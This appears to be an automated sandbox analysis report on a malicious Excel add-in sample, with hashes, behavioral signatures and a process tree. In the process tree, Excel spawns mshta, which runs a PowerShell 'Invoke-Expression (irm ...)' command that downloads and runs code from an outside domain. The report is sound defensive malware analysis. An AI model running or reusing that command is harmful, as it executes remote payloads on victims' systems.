Analysis
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max time kernel
132s -
max time network
128s -
platform
windows10-2004_x64 -
resource
win10v2004-20240426-en -
resource tags
arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system -
submitted
22-05-2024 20:02
Static task
static1
Behavioral task
behavioral1
Sample
50964faa7fe10a1fdc698e847d8b468ff2dedd85c353231750cc198453ba6f75.xll
Resource
win10v2004-20240426-en
Behavioral task
behavioral2
Sample
50964faa7fe10a1fdc698e847d8b468ff2dedd85c353231750cc198453ba6f75.xll
Resource
win11-20240508-en
General
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Target
50964faa7fe10a1fdc698e847d8b468ff2dedd85c353231750cc198453ba6f75.xll
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Size
12KB
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MD5
10e4c8c61c715af85c4cedc1ee10cfa9
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SHA1
d6a9cd1414ba2f841b87278fae980ebc1d7d41dd
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SHA256
50964faa7fe10a1fdc698e847d8b468ff2dedd85c353231750cc198453ba6f75
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SHA512
04c732e5703853e4cb93641c2be9aa35ebee8bfe0214b73831297c3d050bd2c8c169ac1eb6a31349b1453ba7f175911f3245b6d3b7db4a2ecbeb5a8054764d40
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SSDEEP
192:zL29RBzDzeobchBj8JONMONaruPrEPEjr7AhnP:v29jnbcvYJONcuPvr7CP
Malware Config
Extracted
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
mshta.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 4404 4600 mshta.exe EXCEL.EXE -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 35 4104 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
mshta.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Control Panel\International\Geo\Nation mshta.exe -
Loads dropped DLL 2 IoCs
Processes:
EXCEL.EXEpid process 4600 EXCEL.EXE 4600 EXCEL.EXE -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 4600 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 4104 powershell.exe 4104 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 4104 powershell.exe -
Suspicious use of FindShellTrayWindow 2 IoCs
Processes:
EXCEL.EXEpid process 4600 EXCEL.EXE 4600 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 10 IoCs
Processes:
EXCEL.EXEpid process 4600 EXCEL.EXE 4600 EXCEL.EXE 4600 EXCEL.EXE 4600 EXCEL.EXE 4600 EXCEL.EXE 4600 EXCEL.EXE 4600 EXCEL.EXE 4600 EXCEL.EXE 4600 EXCEL.EXE 4600 EXCEL.EXE -
Suspicious use of WriteProcessMemory 6 IoCs
Processes:
EXCEL.EXEmshta.exedescription pid process target process PID 4600 wrote to memory of 4404 4600 EXCEL.EXE mshta.exe PID 4600 wrote to memory of 4404 4600 EXCEL.EXE mshta.exe PID 4600 wrote to memory of 4404 4600 EXCEL.EXE mshta.exe PID 4404 wrote to memory of 4104 4404 mshta.exe powershell.exe PID 4404 wrote to memory of 4104 4404 mshta.exe powershell.exe PID 4404 wrote to memory of 4104 4404 mshta.exe powershell.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\50964faa7fe10a1fdc698e847d8b468ff2dedd85c353231750cc198453ba6f75.xll"1⤵
- Loads dropped DLL
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\users\public\example.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} mshta2⤵
- Process spawned unexpected child process
- Checks computer location settings
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'iapartmentlistings.com/tykhwuxk')3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\79ZXHV21\d[1].htmFilesize
2KB
MD5f754844cfb65838d1dd6b19dde5d835c
SHA1b3eb677783adc88c8d048898449e04d49f416db6
SHA2563644b387519f3509a1ce3d2201e2e1e8af36217138cc6f9e62d6e37c887097a6
SHA512f42f89562b5c0be86dbd04683ee6c30711155acd1239e273da726c2bfedf5d0806c479b7107792c136bff6e97efb8d9145df0c176f499f86f1b7e304a2e3ccdf
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C:\Users\Admin\AppData\Local\Temp\50964faa7fe10a1fdc698e847d8b468ff2dedd85c353231750cc198453ba6f75.xllFilesize
12KB
MD510e4c8c61c715af85c4cedc1ee10cfa9
SHA1d6a9cd1414ba2f841b87278fae980ebc1d7d41dd
SHA25650964faa7fe10a1fdc698e847d8b468ff2dedd85c353231750cc198453ba6f75
SHA51204c732e5703853e4cb93641c2be9aa35ebee8bfe0214b73831297c3d050bd2c8c169ac1eb6a31349b1453ba7f175911f3245b6d3b7db4a2ecbeb5a8054764d40
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C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_sx3va3ih.mo5.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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memory/4104-57-0x0000000006170000-0x000000000618E000-memory.dmpFilesize
120KB
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memory/4104-58-0x00000000061B0000-0x00000000061FC000-memory.dmpFilesize
304KB
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memory/4104-60-0x0000000006680000-0x000000000669A000-memory.dmpFilesize
104KB
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memory/4104-59-0x00000000077D0000-0x0000000007E4A000-memory.dmpFilesize
6.5MB
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memory/4104-56-0x0000000005B70000-0x0000000005EC4000-memory.dmpFilesize
3.3MB
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memory/4104-45-0x0000000005A90000-0x0000000005AF6000-memory.dmpFilesize
408KB
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memory/4104-46-0x0000000005B00000-0x0000000005B66000-memory.dmpFilesize
408KB
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memory/4104-42-0x0000000004C00000-0x0000000004C36000-memory.dmpFilesize
216KB
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memory/4104-44-0x00000000051B0000-0x00000000051D2000-memory.dmpFilesize
136KB
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memory/4104-43-0x0000000005270000-0x0000000005898000-memory.dmpFilesize
6.2MB
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memory/4600-15-0x00007FF9AB9B0000-0x00007FF9ABBA5000-memory.dmpFilesize
2.0MB
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memory/4600-86-0x00007FF96BA30000-0x00007FF96BA40000-memory.dmpFilesize
64KB
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memory/4600-17-0x00007FF969120000-0x00007FF969130000-memory.dmpFilesize
64KB
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memory/4600-2-0x00007FF96BA30000-0x00007FF96BA40000-memory.dmpFilesize
64KB
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memory/4600-9-0x00007FF969120000-0x00007FF969130000-memory.dmpFilesize
64KB
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memory/4600-4-0x00007FF96BA30000-0x00007FF96BA40000-memory.dmpFilesize
64KB
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memory/4600-1-0x00007FF96BA30000-0x00007FF96BA40000-memory.dmpFilesize
64KB
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memory/4600-11-0x00007FF9AB9B0000-0x00007FF9ABBA5000-memory.dmpFilesize
2.0MB
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memory/4600-14-0x00007FF9AB9B0000-0x00007FF9ABBA5000-memory.dmpFilesize
2.0MB
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memory/4600-13-0x00007FF9AB9B0000-0x00007FF9ABBA5000-memory.dmpFilesize
2.0MB
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memory/4600-87-0x00007FF9AB9B0000-0x00007FF9ABBA5000-memory.dmpFilesize
2.0MB
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memory/4600-5-0x00007FF96BA30000-0x00007FF96BA40000-memory.dmpFilesize
64KB
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memory/4600-0-0x00007FF96BA30000-0x00007FF96BA40000-memory.dmpFilesize
64KB
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memory/4600-6-0x00007FF9AB9B0000-0x00007FF9ABBA5000-memory.dmpFilesize
2.0MB
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memory/4600-12-0x00007FF9AB9B0000-0x00007FF9ABBA5000-memory.dmpFilesize
2.0MB
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memory/4600-3-0x00007FF9ABA4D000-0x00007FF9ABA4E000-memory.dmpFilesize
4KB
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memory/4600-7-0x00007FF9AB9B0000-0x00007FF9ABBA5000-memory.dmpFilesize
2.0MB
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memory/4600-8-0x00007FF9AB9B0000-0x00007FF9ABBA5000-memory.dmpFilesize
2.0MB
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memory/4600-67-0x00007FF9AB9B0000-0x00007FF9ABBA5000-memory.dmpFilesize
2.0MB
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memory/4600-83-0x00007FF96BA30000-0x00007FF96BA40000-memory.dmpFilesize
64KB
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memory/4600-84-0x00007FF96BA30000-0x00007FF96BA40000-memory.dmpFilesize
64KB
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memory/4600-16-0x00007FF9AB9B0000-0x00007FF9ABBA5000-memory.dmpFilesize
2.0MB
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memory/4600-85-0x00007FF96BA30000-0x00007FF96BA40000-memory.dmpFilesize
64KB
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memory/4600-10-0x00007FF9AB9B0000-0x00007FF9ABBA5000-memory.dmpFilesize
2.0MB